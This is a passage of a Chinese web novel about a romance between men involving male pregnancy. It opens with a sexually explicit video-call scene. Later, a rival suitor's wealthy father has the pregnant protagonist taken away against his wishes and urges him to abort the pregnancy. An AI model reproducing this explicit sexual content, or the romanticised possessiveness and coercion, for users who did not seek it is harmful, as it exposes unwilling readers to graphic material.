平日系领带时总是慢条斯理,一举一动都很赏心悦目,不知怎么的,今天扯起来这么粗暴。 窗外雨声淅沥,从宴会厅的喧闹嘈杂到街道车辆的疾驰声,陡然进入静谧的酒店套房,江之遇觉得耳边的声音忽然放大了似的。 他几乎是立刻听到金属搭扣和拉链的响动声,扯掉领带解了几颗扣子,随后耳膜传来粗重的喘息声,像是隐忍了许久一样。 “之遇哥,给我看。”谢津延坐到沙发上,架开腿。 衬衫袖子下线条起伏,绷得很紧,手背迅速暴起青筋。 他现在已经很会用称呼去挑动这个男人了。 以前谢津延怎么也叫不出哥,比他仅大了三岁的男人,长得清纯又漂亮,刚和他上过床。 却在第二天醒来,摇身一变成了他小侄子的养父,被他母亲要求称呼为兄长。 后来心存异样心思也叫不住口,却会嫉妒祁焰毫无顾忌张口闭口一个“之遇哥”。 自从诱哄男人和自己谈恋爱,改变称呼,谢津延更多的是叫他之遇。 他一直觉得这个名字很好听。 可是谢津延发现喊他哥的时候,这个男人隽美面庞上总是会快速浮上红晕,随后掠过一抹不自然的躲闪,像是勾起某种禁忌一般。 被祁焰喊之遇哥时就没有这种反应极大满足了谢津延心中的占有欲,他再也不和发小斤斤计较这种事情。 至于自己,开始喜欢在某种特殊时候这样称呼他,满意看他慌张无措的变化。 “快点,之遇哥,给我看。” 果然,这样一喊,江之遇的脸上就掠过一抹异样,脸红的很快。 可是比起这些,江之遇更多的是被他这么快速的动作吓到,尤其是这声十分躁动的催促。 不是昨晚才帮他纾解了吗,怎么这么快就,就。 江之遇有些傻眼,与此同时,脸也涨得更红了。 他呆呆地望着他手心的景象,明明之前在卫生间撞见的时候看到过,也吃过许多回。 不知道是不是隔着一方屏幕框在眼前,彷佛下一秒就会跳到自己脸上,江之遇只感到眼前受到了巨大的冲击,心脏也被他带的“扑通扑通”地跳。 “我怎么给你看啊。”江之遇一瞬间有些想扔掉手机。 谢津延被酒店昏沉的光透过眼睫拓在眼底的阴影很深,眸中的晦暗也越来越浓。 他声音沉涩道:“把衣摆撩起来,之前黎清叙给你做产检的时候怎么让你撩的,你撩给我看。” 江之遇:“……” 怎么这事还记得啊。 江之遇没忘记黎少爷给自己做产检的那个夜晚,主要是他很少做这样的检查,那种冰冷探头在肚子上的触感他记得太清楚了。 而且眼前的男人就是这个晚上出现在自己所居住的乡下,带着昭昭一起。 皎皎月夜下的脸色很沉,黑眸如幽晦深潭一样紧紧地盯着他,盯得他腿脚发软,头皮一阵发麻。 之后还一直追问黎少爷有没有碰自己的肚子,撩没撩衣服。 可是,不撩衣服医生怎么做检查呢? 江之遇当时十分无语,也很是茫然。 然而现在,他好像有些明白他为什么这么在意了。 只是江之遇没想到他还记着这种事,真是奇奇怪怪的事情都被记着。 然而无语归无语,江之遇现在还是感到不自在和羞耻,因为这到底不是在做检查。 可是耳边喘息声重,男人目光灼切。 江之遇只好红着脸拿着手机回了房间,锁上卧室的门,到床上按照他说的那样撩起。 窗外一方夜色,雨滴啪嗒啪嗒敲打着窗檐。 竹灯柔晕,光线不那么灼目,谢津延这边更是只开了一盏小灯。 透过这样昏蒙的光线看美人。 谢津延眸色加深,他一直都觉得眼前这具身体很漂亮。 骨架细匀,第一个晚上抱起来瘦,可是这段时间经过调养,身上长了肉,身形依旧纤瘦,却多了肉感。 因为长时间待在室内做木活,如白玉蕴养,尤其是孕育着生命的起伏,撑起一片细腻圆润的雪白,衬得樱色更加艳丽。 腰肢又白又细,轻易就能握住。 还有腰窝,掐一下身体就颤抖个不停。 窗外枝影摇曳,竹灯悠润,光线朦胧。 江之遇听到耳边的呼吸声更重了,在这飘着雨声的幽静夜晚听得格外清晰。 他被这样的喘声弄得脸颊不住地发烫,揪着衣摆的手指也在发烫。 特别是明明隔了手机屏幕,他套房那边光线昏暗。 从江之遇的视角只能看到昏蒙光线下手臂上浮起的青筋,还有每一次看到都让他心惊的可怖昂扬。 男人散漫靠在沙发上,江之遇看不到他的脸,也看不清他的眼眸。 他的目光却像从昏沉视野里钻出手机屏幕一样。 他们分隔两地,他触碰不到自己,视线却层层挑开,黑夜里剥开皮肤,烧灼的火舌。 他看到哪里,哪里就像被灼烫了一下似的。 江之遇一瞬间感到十分难捱,揪着衣服的手指微微发酸发颤。 “行了吗?” 江之遇艰难地问。 不太明白都是男人,一样的构造,有什么好看的。 “再等等。” 谢津延敛着眸,目光晦暗,一只眼皮虚虚撑起,呼吸重,手心也在剧烈跳动。 他半晌忽然沉声:“像我之前给你做的,你自己揉。” 什么? 我自己? 江之遇大脑空白一瞬,哪、哪里啊? 他每次都是随他的动作,江之遇大部分时间都是被动地承受着,自己也很少做这种事。 而且那种时候每次都晕晕乎乎的,他根本就忘了他是怎么做的。 “我、我不知道你在说什么,也不会。”江之遇试图避开他说的这种事。 太羞耻了。 “给你看就行了,你要是再这样,我不和你视频通话了。” “就是像揉面一样,你不是最会做面食了吗?”谢津延浮着性感暗哑的嗓音在屏幕前低低诱哄。 “揉、揉面?”江之遇懵了几秒。 谢津延嗯声:“对,你试试,揉面,掌心按着面团,轻轻地碾,揉开,衣摆自己咬。” 他的声音本就低沉好听,第一次听到时像有一阵风吹过夏日的麦田。 此刻在屏幕那方昏沉的光线下,气息重,浮着暗哑,低低的,耳膜被电流刮蹭了下。 江之遇不自觉按照他的牵引去做。 手心发紧,微微出了薄汗。 没多久,他漂亮的眼眸罩上一层水雾,眼梢挑起难耐的湿红。 那种熟悉的,像是被什么在体内啃噬又找不到宣泄口的痒再一次漫遍全身。 谢津延眸色深重地注视着眼前的景象。 明明是他自己挑起的,现在却生出了一丝悔意,因为隔着手机屏幕的活色生香,他只能看,无法触碰。 尤其是他记得触碰上去的感觉,瓷白的软肉,抚在掌心细腻,咬在口中像吸食甜腻的荔枝。 谢津延一时眸色幽暗晦深,真想现在飞回家中狠狠把这一幕拆吃入腹。 手心剧烈跳动,呼气灼热。 从江之遇那边听起来觉得自己的心脏都快要被这样的声音从胸腔带得跳动出来。 最后一阵细风吹动树枝,树影晃了晃,摇散几滴雨珠溅落到他的窗户上。 那边也一声粗喘,江之遇咬着衣摆坠落,布料重新罩上雪白肉色,微肿的红。 他恍然觉得自己的手机屏幕上也溅了雨珠似的。 过了许久,江之遇缓过神,意识到那是什么。 他把自己的手机屏幕弄脏了,被电话那头男人的声音喘的。 还有……揉。 他再也没办法正视揉面了。 “之遇,我明天就回……”谢津延仰靠上沙发,虽然没有得到餍足,心情却十分愉悦。 他打算明天谈完生意无论多晚都要回去,不只是身体上的空虚,谢津延发现自己真的离开没多久就会想念。 还跨了这么远的距离。 只是话未说完,止在唇角,视频通话被重重挂断。 在谢津延面上露出怔色的时候,一条对话框忽然从眼前弹了出来。 备注“小兔子软软老婆”的头像上,他终于收到男人主动给他发来的第一条消息。 [你以后再也别想吃我给你做的西红柿鸡蛋面了!愤怒.jpg 菜刀.jpg 炸弹.jpg晚安.jpg] 谢津延先是愣了一下,随后盯着那个蓝色夜空的小月亮。 许久,他唇角弯起笑意。 谢津延:[晚安晚安,我明天就回来了。亲亲.jpg 亲亲.jpg 亲亲.jpg] 第64章 第 64 章 和我结婚好不好 谁给你说晚安了啊。 江之遇收到这条回信, 看着他发的晚安和一排亲亲的表情符。 自己明明是想给他再接个“炮仗”炸他一下的,不知怎么的就点到了“晚安小月亮”上。 可是,已经没办法撤回消息了, 而且都被看到回复了自己的消息。 江之遇又羞又气, 但是拿昭昭小叔一点办法也没有。 算了, 睡觉吧。 江之遇重新换了身干净的睡衣, 躺到床上, 不想和昭昭小叔在这种事情上纠扯。 他刚刚说了什么?是明天就回来吗…… 江之遇眼皮耷拉, 依稀记得挂断视频通话前听他说了这么一句。 后半夜的雨势小了些,枝叶摇晃的声音也减弱了几分。 滴落在窗檐下的雨滴声开始变得缓慢,有一下没一下地滴落, 滴滴答答的声音很是助眠。 也或许是心里有了另一种牵念和期盼,明天那个人就会回来, 江之遇这一晚睡的很是舒适安稳。 第二天清早醒来, 雨停了。 天空又恢复了澄明的蓝,水洗过后, 阳光, 天空, 院子里的枝叶,连空气都是清新的。 江之遇现在很喜欢雨后的晴天,明灿的阳光落在身上,到处都是剔透明媚的。 倒也不是不喜欢下雨,可是好像一下雨, 就有一种湿湿冷冷的感觉。 最重要的是, 家里的小兔子不能去院子里蹦蹦跳跳地玩耍了。 十一好像很喜欢他的小院,一开始拎过来时那么胆小的垂耳兔,现在能在院子里各个地方探索。 只是现在才刚雨停, 院子里还有积水,不能放它出来玩。 江之遇把院子里的落叶清扫了下,做完日常工作,就去了工具室。 刚做了会儿木工,听到敲门声响起。 这个时间不可能是昭昭小叔,直觉告诉江之遇不是霍少爷就是黎少爷。 祁少爷最近在开演唱会,江之遇在网上刷到了他的行程。 果然,打开门,是一段时间未见的黎少爷。 还是一副风度翩翩的样子,手上拎了个精美的礼物盒。 “昭昭养父,阿延今天不在是吧?” 黎清叙终于找到机会再来这里。 之前还说自己不务正业,一直待在乡下,没想到后来是他这个发小天天往这里飞。 上次爆发过矛盾后更是恬不知耻地直接住在了这里,天天像打狗一样防他们,不让他有任何和眼前这个漂亮男人接触的机会。 黎清叙原本还想玩一玩掰弯直男的游戏的,想着昭昭养父不喜欢男人,那就更有意思了。 没想到从那日起,他根本就见不到这个男人,被阿延那个狗东西严防死守的。 偏偏他这个“小侄子小叔”和“孩子生父”的身份到了这种时候确实管用,给了他充足赖在这个男人身边的理由。 还矛头一指,借机把不怀好意的帽子扣到了他们头上。 黎清叙即使坦言公平竞争,也架不住这个发小使这些卑劣的手段。 何况黎清叙确实没办法像阿延这样天天往乡下跑,公司事务十分繁忙,还有研究所的事情。 黎清叙也是接管家业后,才知道三年前他这个发小当时承受了多么大的压力。 这总裁比预想中难当,每天有数不清的会议和行程。 说实在的,黎清叙都有些佩服他这位发小了。 掌管这么大一个集团,每天有那么多事情要处理,还能天天飞来飞去,甚至防他们防得滴水不漏。 黎清叙内心叹息,望着趁发小出国终于见到一面的美人。 那天捧了新鲜采摘的野花过来,他只远远听到对方的声音,没能见到人就被阿延关在了门外。 数日不见,美人还是这么漂亮。 站在屋檐下的门扉后,身后是闪动着雨后水珠的碧绿的葡萄藤,结了串串葡萄,落下一地斑驳碎光,将美人映衬得更加清新漂亮了。 就是看起来和之前隐隐有哪里不同,面色红润,嘴唇有点未消下去的肿,宽大衣摆已经有些遮不住肚子上的起伏了。 黎清叙盯着美人似是被吸吮过的红润唇瓣,一种猜测在脑海中闪过,但觉得应该没这么快。 掰弯直男总要一段时间吧? 江之遇不知道黎少爷心中在想什么,只感觉他的视线也像昨天霍少爷那样一直游移在自己唇上。 想到霍少爷昨天直接伸过来手,江之遇不自在地抿了抿唇,试图避开他的视线。 他知道黎少爷既然这个时候来找他,一定是已经知道阿延离开了,所以便点头,没有遮掩:“对,他不在。” 黎清叙于是愉悦地扬了扬桃花眼,拎起手中精美的礼物盒子:“这是我在一家特别好吃的糕点房给你订制的糕点,要不要尝一尝?” 江之遇望向他手中拎着的食盒,精美雅致,还系了漂亮的蝴蝶结。 他婉拒道:“谢谢黎少爷的好意,我不太能吃甜的东西。” 黎清叙早就料到会被拒绝,也不在意似的:“那行,你喜欢吃什么,下次我给你带其他的。” 江之遇垂了垂眸,再次婉拒:“我没有什么特别喜欢吃的,不用劳烦黎少爷这么费心。” “其实人的性向是可以流动的,有时候在遇到真正喜欢的人前,一些人对自己性向的认知不一定准确。” 在江之遇想着要怎样拒绝黎少爷,让他以后不要再来找自己的时候,听黎少爷说了这样一句模棱两可的话。 江之遇懵了懵:“是吗?你为什么要跟我说这些。” 黎清叙笑,望着眼前一双懵懂清透的眼眸。 这就是掰弯直男的乐趣,可以看他们由懵然无知,到一点一点打开新世界的大门。 “因为我听阿延说你是直男,打算给宝宝找后妈,但或许你可以先了解一下自己真正的取向和需求,也许你喜欢男人也说不定。” 江之遇涨红了脸,这样有关直男方面的话,昭昭小叔都和自己说过,还和自己试过。 然后、然后他就和昭昭小叔发展成了现在这种关系。 “我想,我不用了解了。”江之遇一时间感到很羞敛。 “真的不用吗?”黎清叙还有准备,“我们心理研究室有一套完善的性向测试,我带来了,要不要帮你测一测。” “不、不用。”江之遇的脸更红了,怎么他们都喜欢给自己测这个? 他只支支吾吾的,打算彻底断掉黎少爷对自己的想法:“我已经测过了,和昭昭小叔。” “测过?”黎清叙狐疑,盯着他微肿的唇,“阿延怎么给你测的?” 江之遇越来越难以启齿,却豁出去一般:“我们已经在一起了,亲过,该做的不该做的都做了。” 他说完,果然看到总是扬着斯文笑意,风度翩翩的男人变了脸色。 黎清叙一度以为自己听错了,尽管从刚才美人出现在自己视野里的那一眼,他就觉察出某种变化。 还有这双未消肿的,像晚樱一样漂亮的唇瓣,明显是被人吸咬的。 他就说以这位发小强势和占有欲爆棚的性格,以及雷厉风行的行事作风,那天发过疯后不可能什么都不做。 也绝不会放任眼前这个男人给宝宝找什么后妈。 一切不过是搪塞和防备他们的理由。 只是没想到手段这么了得,到底还是让他得了逞。 “是阿延强迫你的吗?”半晌,黎清叙笑了笑,还是试图揪住什么,“我没有别的意思,只是希望你不要弄错了自己的心意。” “其实阿延我也挺意外的,他那么争强好胜的一个人,我有时候觉得,会不会是因为我们,他才会激起胜负欲,对你死缠烂打。” “说到底,你们俩一开始都不算你情我愿。” 黎清叙一口气说了很多,桃花眼依旧扬着很深的笑意,看上去丝毫没受影响的样子。 “不管怎样,既然你们在一起了,作为阿延的好兄弟,我会祝福你们。” 黎清叙继续笑:“那我不打扰你了,你确定不尝一尝这家糕点吗?真的很好吃,如果哪天你和阿延分开,我是说,你有点想尝试一下别的美食,可以找我,我不介意给孩子当后爸。” 黎少爷说完一堆乱七八糟的话,就拎着精致的食盒走了。 全程,江之遇没能插进去一句话。 看离开的身影,也依旧风度洒脱,和之前没什么两样,只是走到小道前,疑似被石头绊了下脚,身影歪了歪。 不过很快,又恢复了斯文翩翩的模样。 江之遇假装没有看到,只在想。 这算是……对自己没有想法了吧,以后也不会再来找自己? 江之遇没想到黎少爷这么好应对,比昨天霍少爷一直步步逼近,让他有些快要招架不住,最后不得不快速关上门好应对的多。 只是关上院子里的门,他往屋子里走去,脑海里闪过黎少爷刚才说的那些话。 弄错心意吗? 还有,昭昭小叔是争强好胜的人,激起胜负欲。 以及,他们两人当初确实都不是你情我愿。 江之遇没忘记初遇那晚,他和昭昭小叔闹了怎样大的误会。 昭昭小叔以为自己给他下药,不怀好意,他后来也不愿意和这样拽得二五八万,把自己折腾得站都站不住的怪人相处。 昭昭小叔不止一次说对男人没有兴趣。 他自己在此之前也没想过会和男人有亲密接触。 一切是从什么时候发生变化的呢? 好像确实是黎少爷来自己这里的那个月夜。 他的生活中突然多了很多人,昭昭小叔也一次次因为黎少爷和霍少爷逼问自己。 也坦言嫉妒过祁少爷和霍少爷。 还有昨晚,让自己撩衣摆,是因为记得黎少爷给自己做检查时让自己撩过衣摆,就耿耿于怀,一直让自己也撩给他看。 真的是因为他这些朋友激起的胜负欲吗? 江之遇微微失神。 耳边小兔子的叫声转移了他的注意力,江之遇走到兔笼前,见小兔子把自己的脑袋卡在了兔笼子里,正急得吱吱叫。 江之遇急忙走过去,帮十一把卡住的脑袋弄出来,之后顾不得院子里还浸有未干的雨水,会弄脏一身兔毛,把它放到院子里玩耍。 转身后,看到一屋子、一院子的花花草草。 昨晚没睡好觉在站架上打盹的鹦鹉,生态缸里游来游去的小草龟和金鱼。 被昭昭小叔改造成办公桌的摆了电脑和许多文件的书桌。 堂屋,卧室,厨房,卫生间。 方方面面都被他填满,再也看不出一个人生活的痕迹。 江之遇望着眼前的这一切,失神已久。 过了会儿,拿起手机,踌躇片刻打了字过去。 [你是因为你那几个朋友对我有想法,激起胜负欲才总来找我的吗?] 正在谈生意的谢津延:“?” 他向生意场上的伙伴示意一声,有事出去一趟,晚点谈。 一出会场,修长手指敲击手机屏幕。 [老婆,你又给我发消息了?这是你主动给我发的第二条消息,吃早饭了没有?昨晚你给我发完晚安后,我好长时间都睡不着觉,一直想你。] [我这边在谈生意,不太方便接电话。] [你为什么突然这样问我?是不是黎清叙他们有人过去找你了?我猜一定是黎清叙跟你说了什么,只有他会说出这种挑拨离间的话!] 接连弹出两大段话,几乎是秒回。 江之遇有些傻眼,没想到他回消息回得这么迅速,而且又喊自己老婆。 还有,自己昨晚没有给他发晚安。 江之遇在对话框里打出这行字,想说是自己点错了。 下一秒,聊天框里跳出许多截图。 昭昭小叔:[这是我们发小群里之前的聊天记录,你从我那里走后的第二天一早,我就想去找你,可是他们三个一直在挑拨离间,唆使我不要纠缠你。] [我后来才知道是他们图谋不轨,居心叵测,那时候就起了歪心思。] [你要是不信,我让宋秘书调日程记录,我那天一来公司就让他帮我查你们乡的地址和信息。] [但是我当时太要面子了,觉得自尊心受挫,就找了个借口,我还气得把他们几个都屏蔽掉了。] [我真不是因为他们过去找你激起的胜负欲,我不否认因为他们,让我产生了危机感和占有欲,可我绝对在那更早之前就喜欢上了你。] [昭昭欢迎宴那天,黎清叙见到你一直盯着你看我就很不舒服了,不想让他看你。] [还有你住我家时不穿好衣服就来给我开门,还穿的是我的衬衫,我当时满脑子都是你浑身湿漉漉的画面,那时就在想你了。] [其实我觉得我第一眼见到你就喜欢你,不然我能克制住的,你老在我身下拱,我很难受,可一直在克制,我就是看你像小兔子一样,特别好欺负,我就忍不住了。] 江之遇:“?” 小兔子软软老婆:[你快闭嘴吧,糟蹋完我的面,又来糟蹋小兔子,你脑子里总是这些事吗?] 昭昭小叔:[……我就是对你情不自禁。你别听他们的,我知道我之前混蛋,对你态度恶劣,我错了,可我真的喜欢你,我不知道要怎么证明。] 突然传来电话拨打的声音。 江之遇还没从这一连串的消息中缓过神,看到昭昭小叔给他打来电话。 他没接,电话就一直响个不停。 江之遇挂断,对方接着打。 再次挂断,还打。 江之遇望着手机界面片刻,终于忍不住发了条消息过去:[不是在谈生意不方便接电话么,你别再给我打电话了。] 过了会儿,删删减减又发了句:[你今天几点回来,我看要不要做你的晚饭,面食除外。] 谢津延先是面上错愕一瞬,随后心头涌上巨大的喜悦。 [还不确定,但我保证一忙完就回,太晚了你就别等我,自己先睡,给我留个门就行。] 江之遇:[哦。] 没多久,谢津延这边的信息提示声响起。 小兔子软软老婆:[我想我应该知道什么是喜欢的情绪了,没有弄错。] 谢津延一怔,黑眸紧紧盯着这句话。 有助理催促的声音传来,他却像是什么都听不到了似的,只感觉大脑有些晕乎,心跳剧烈鼓噪,蜜糖一样的喜悦潮水一般灌满胸腔。 他向助理示意,很快回去,抑制住面上的表情落下一句话。 于是江之遇的手机屏幕上再度弹出一条消息。 昭昭小叔:[回去我就和我父母坦明,我们结婚好不好?再不结婚我怕他们又要挑拨离间试图拆散我们了。] 江之遇:“……” 脸颊微微一热:[等你回来再说吧。] 谢津延唇角翘起弧度,收起手机。 生意场上的伙伴看来:“谢总这是遇到什么好事了?” 谢津延只扬唇,不语。 阳光一整天都很绚烂。 雨过天晴后的光线就是这么明丽剔透,一切都是清新的,连人的心情都跟着变得很好。 江之遇自放下手机后,就继续做自己的日常工作。 只是总也不能像往常那样专心似的,心情总是跳动着。 而且随便看过去一眼,到处都是跃动的金色光圈,湖面上波光粼粼的碎金一样,可能是与他的心情有关。 他第一次觉得一天的时间漫长。 太阳在葡萄藤架上投下的光影移动缓慢,明明之前一眨眼,就在地面上换了位置。 要向谢老夫人和谢老先生坦明吗? 说来昭昭许久没来看他了,阿延总说昭昭最近课业很多,没时间带他过来,等忙完这段时间再带他来。 江之遇忽然有些紧张。 在各种复杂心情的交织下,终于,太阳西沉,在远山没入最后一缕光辉后,暮色笼罩了大地。 江之遇点亮屋子里的灯,做了晚饭,到底还是新擀了面,摘了几颗番茄,等昭昭小叔。 敲门声在这时响起。 这个时间点,霍少爷和黎少爷都走了,应该不会再来找自己。 江之遇脚步轻快地去开院子里的门。 阿延两个字没有叫出口,江之遇眼梢的笑意凝住,望着屋檐下陌生的男人。 斯文儒雅的西装,挟一支看起来就很昂贵的手杖在腋下,身后跟着的西装革履应该是助理的人端着一支雪茄,小心翼翼的样子。 还有另外一个,腰背挺得很直,一脸彪悍,看上去应该是保镖。 至于挟手杖的男人,约莫人到中年,面上有一点岁月的痕迹,却丝毫不显年纪,反而为他添了丝成熟男人的稳重和儒雅。 眉宇间有些熟悉,可江之遇想不起在哪里见过。 只知道这人一看就身份尊贵,是自己接触不到的圈层。 江之遇很茫然,许久,警惕问道:“请问你们是谁,找我有什么事吗?” 霍成峰笑:“你好,我是霍岭生的父亲,关于岭生,我有些事情想和江先生聊一聊,不知能否请你饮杯茶?” 第65章 第 65 章 向着他们美好的家却 霍少爷的父亲? 江之遇怔怔地望着门前这位儒雅笑着, 自称是霍少爷父亲的男人,许久,从他眉眼间确实看出与霍少爷相似的痕迹。 难怪刚才看过去第一眼觉得有些眼熟, 分明江之遇从来没有见过这个男人。 江之遇很是茫然, 不明白霍少爷的父亲为什么会找上自己。 他说要和自己聊霍少爷的事情, 请自己饮茶。 可江之遇除了霍少爷来自己这里和他学艺那段时间, 对霍少爷其实并没有特别了解。 这位霍先生要找自己了解什么呢? 但不管怎样, 江之遇还是礼貌道:“霍先生好, 请问您想了解霍少爷什么?天色太晚,您要是不介意,不如在我这里饮茶?不过其实我和霍少爷不是特别熟悉, 不一定知道霍先生想了解的情况。” 他说完,不知怎么, 见眼前儒雅成熟的男人似是变了变脸色。 明明还是看上去一副平易近人, 和善温和的模样,可江之遇就是感受到一股压迫感十足的气息。 和昭昭小叔那种冷酷疏离, 不好接近的压迫感不一样, 是一种让人脊背有些生寒, 想要挪动脚步,却不太敢动的威压。 江之遇不知道自己说错了什么,就听霍先生声音温和道:“还是我请江先生吧,天色晚没关系,到时候我会让人送你回来。” 江之遇很是踌躇, 在想要不要告诉霍少爷一声。 他其实不太想去, 阿延马上就要回来了,刚才发消息告诉自己已经上了飞机。 而且直觉告诉自己,这位霍先生很危险, 虽然不知道为什么会有这样的感觉。 江之遇面露难色,在想怎么拒绝霍先生的邀请。 对方似是看出来一般,示意一下眼神。 于是,那位端着雪茄的助理和保镖同时走到自己面前。 助理微笑着做了个请的手势:“江先生还是请吧,我们老爷可是专程过来请您的,您若是推拒,我们老爷面上怕是不太好搁。” “那我回房拿手机发个消息。”江之遇硬了硬头皮,想跟阿延说一声自己有事外出一趟,同时告知霍少爷,别不是他遇到了什么事情。 却下一秒,那个看上去特别彪悍的保镖走近,高大身影笼来,带来一股很是怵人的气息。 助理笑吟吟道:“有什么事等回来再说吧,不会耽误您太长时间。” 说着,自己就被“请”到了停在门前的一辆黑色的车中,连自家院子里的门都是他们帮忙关上的。 及至车辆绕过弯弯曲曲的山路行驶到宽阔的大道上,漆黑的山影在视野里一点一点拉远,江之遇还是感到恍然。 他不知道当下是一种什么状况,霍少爷的父亲专程过来他家居住的乡下请他饮茶。 面容亲切和善,示意下属的举动却不容一丝抗拒。 江之遇坐在舒适的车内,很是坐立难安。 尤其是上了车,霍先生就一言不发了,只吞云吐雾抽着雪茄,烟雾缭绕中看不清面色。 江之遇被呛得咳咳几声。 就见霍先生掐灭烟丝,让助理打开一点窗:“差点忘了,你还怀着身孕。” 江之遇的肚子现在已经能清晰地看清怀孕的形状,宽大的衣摆也遮不住了,他因此最近都不怎么出门。 昭昭小叔几乎住在了这里,有什么需要采购的,他都会安排底下的人去做。 宋秘书来的时候,也常常带过来很多东西,他的小菜园还种了许多瓜果蔬菜,即使不出门,也能自给自足。 江之遇不知道霍先生口中他怀孕的事是直接看出来的,还是提早就得知。 但显然他了解过自己的状况,只是依旧不明白他到底要通过自己了解霍少爷什么。 车辆一路行驶,车内静谧,却有一种无形的威压,让人喘不过气。 江之遇在长时间的行驶中有点晕车,也有点犯困,不知道是不是受怀孕的影响,因为他以前都不晕车的。 也可能是受车内怪异氛围的影响,甚至还有点想吐。 他怀孕期间都没怎么孕吐,这会儿胃里却特别难受,一个劲儿地翻涌。 在这样晕晕乎乎,空气有些窒塞的环境中,不知过了多久,车终于停了下来。 是一处园林式的别墅,亭台楼榭,白墙黛瓦,修建得十分雅致漂亮。 江之遇从车上下来,穿过弯曲石道,被带进屋子。 霍先生已经在让人沏茶。 茶炉上茶香氤氲,桌上茶具繁复。 霍先生示意他坐,自己也坐下,让人给他倒茶,之后问道:“岭生之前是不是到你这里学过什么古技艺?” 江之遇怔了怔,没想到霍先生真的是请自己饮茶,点点头:“嗯,是一种古建筑的营造技法。” “他还真是有闲心。”霍成峰笑,“不过能让他从那座随他母亲一起待了许多年的山寺出来,我挺意外的。听说他现在还在你们那里做生态园区的建设?” 江之遇再次点头。 霍先生于是又问了他一些问题,多是霍少爷来他这里学艺的那段时间以及后来在溪源乡做建设的事。 “抱歉,你可能会奇怪我为什么问你这些。”忽然,霍先生叹了一口气,似是露出一丝凄然的表情。 “你可能不知道,因为我和他母亲之间的一些误会,导致我们父子关系一直都很疏远。这些年来他一直在山上,我们父子已经有很多年没有见过面了,然而现在,他愿意回来了,也愿意找我。” 这是江之遇不曾知道的关于霍少爷的事情。 这段时日,因着阿延,他对他的几个朋友多多少少也有一些知晓。 只霍少爷不太清晰,就知道他在山上随母亲一起清修,周身气息清冷,充满了神秘的气质。 却原来是因为父母之间的关系,竟然许多年没有见过他父亲。 怪不得山下开工仪式那天,听说霍少爷回去继承了家业,阿延和黎少爷会那么惊讶。 然而江之遇还是不懂霍先生为什么要找自己聊这些,他只听霍先生讲述他们父子之间的矛盾。 末了,说道:“你知道岭生做这些改变是因为你吗?” “什么?”江之遇有些茫然。 随后,又明显感觉到眼前凄然和善的男人面色似是冷了冷:“他愿意从山上下来,回来和我父子言和,接管家业,还投了那么大一笔资金建设你的家乡,都是因为他喜欢你,你不知道吗?” 江之遇愣了愣,随后涨红了脸。 换作之前,他一定不会以为霍少爷喜欢自己。 那样一个清冷出尘,看起来对什么都不感兴趣的人,曾经还在包厢对自己冷言相向。 江之遇无论如何都不会把霍少爷喜欢自己的事情联系在一起,就连阿延向自己坦明心意,一再告知他的朋友们对自己有非分之想,他还是觉得不可思议。 但是之后种种,尤其是昨天霍少爷撑伞站在自己家的屋檐下,逐步逼近自己,追问若是和阿延做同样的事情,会不会看他一眼,江之遇终于确信了霍少爷对自己有异样的想法。 尽管他到现在都不知道霍少爷到底因为什么喜欢他。 江之遇不自在地揪茶桌下自己的衣角,面对霍先生的问话,有些不知如何作答,只垂眼点了点头:“知道。” 便听霍先生问:“那你对他是什么样的感情?” 江之遇一怔。 对霍少爷是什么样的感情? 朋友? 好像算不上。 他们是在自己养子欢迎宴的谢家庄园认识的,那时彼此连名字都不知晓,只是因为一只木鸟有了一丝交集。 后来短暂的接触也只是因为他是昭昭小叔的朋友,从小一起长到大的发小。 在江之遇看来,霍少爷不是自己这个圈子的人,在此之前的照面,都是因为阿延。 可若不是朋友,那是什么,师徒? 因为霍少爷确实在自己家的工具室待过一段不短的时间,一开始也明确表明是向自己学艺。 然而他虽然交过学费,许多时候在江之遇看来是互相学习,除了这个古技法,他没教到他很多,担不上这层关系。 除此之外,好像没有了。 江之遇面露纠结,不知道要怎么回答霍先生。 霍先生却先笑道:“那看来是岭生一厢情愿了。” “唉。”他叹息了声,“你能喜欢他吗?” 江之遇懵了懵:“我不太懂霍先生的意思。” 霍成峰重新给他沏了杯茶,倒掉之前那杯,笑容温善道:“我的意思是,江先生要不要考虑做我们霍家的儿媳妇,以我们霍家的条件,你无论想要什么我们都可以满足你。” 江之遇听了霍先生的话,一开始,他还以为霍先生是在和自己说笑。 他身上气质儒雅,笑容和善,说这样话的时候甚至让人觉得他和村里那些关爱小辈的亲切长辈们没什么不同。 但是江之遇仔细分辨了下,发现霍先生似是认真的。 他于是也认真回应道:“抱歉,霍先生,我已经有喜欢的人了,而且还怀了孕,有了宝宝,我不能喜欢霍少爷。” “没关系。”霍成峰动作优雅地沏茶,依旧笑的亲切,“有喜欢的人了可以换个人喜欢,肚子里有孩子了也可以打掉换个男人生。” 江之遇大脑嗡了一声。 过了许久,反应过来霍先生说的是什么意思。 他望着霍先生面上亲切和善的笑,忽然感到一种强烈的不适。 尤其他用一副和善的面孔说着这样冷情残酷的话。 江之遇有些无措,站起身,踌躇道:“霍、霍先生,时间不早了,不知道我可不可以回去了。” “不急,再坐一坐,如果太晚了,可以在这里歇一晚,你看,我这里的景致是不是也像你居住的地方?” 霍成峰悠闲地品着茶。 同一时间,谢津延从直升飞机上下来,踏上熟悉的空草地。 他的心情从早上收到男人的消息后就一直欢欣鼓噪着,被喜悦和甜蜜填满。 尤其是男人告诉他知道了喜欢的情绪,这是在变相对自己说喜欢对吧? 谢津延一整日唇角都是翘着的,揣上前几日精心挑选的求婚戒指,订了一大束玫瑰花。 他其实是在瞒着男人准备一个盛大的求婚仪式的,可是看现在的情况,等不及了。 谢津延准备今晚先求婚,征得男人的同意,之后补上求婚仪式。 谢津延一直介怀男人和发小那堪比结婚一样金屑和烟花同时散开的浪漫巧合。 他一定也要打造出一个独属于和男人浪漫的时刻。 怀着这样美好幸福的期待,谢津延捧着花走向亮着两盏竹灯的屋檐。 悠悠灯晕被轻柔的风吹得细微摇曳,谢津延望着这扇木门,这座漂亮的小院,像是在走向自己的小家。 家里有一个漂亮的老婆在等他,他们还孕育着一个宝宝,谢津延觉得再也没有比现在更让他感到更幸福的时刻。 他走到屋檐下,推开木门,穿过他们两人曾经一起搭建的葡萄藤架,走向亮着灯火的堂屋。 “之遇,我回来了。” 谢津延跨进门槛,却在看清屋子里的人后,身形微微怔住。 “小叔,你终于回来了,你知道我爸爸去哪里了吗?还有,小叔,你捧一大束玫瑰花做什么?” 谢寻昭眨着乌黑的眼睛迷茫地看着这段时日总是找各种理由不带他来看养父的小叔。 一同奇怪看过来的,还有谢津延怎么也想不到会出现在这里的赵管家。 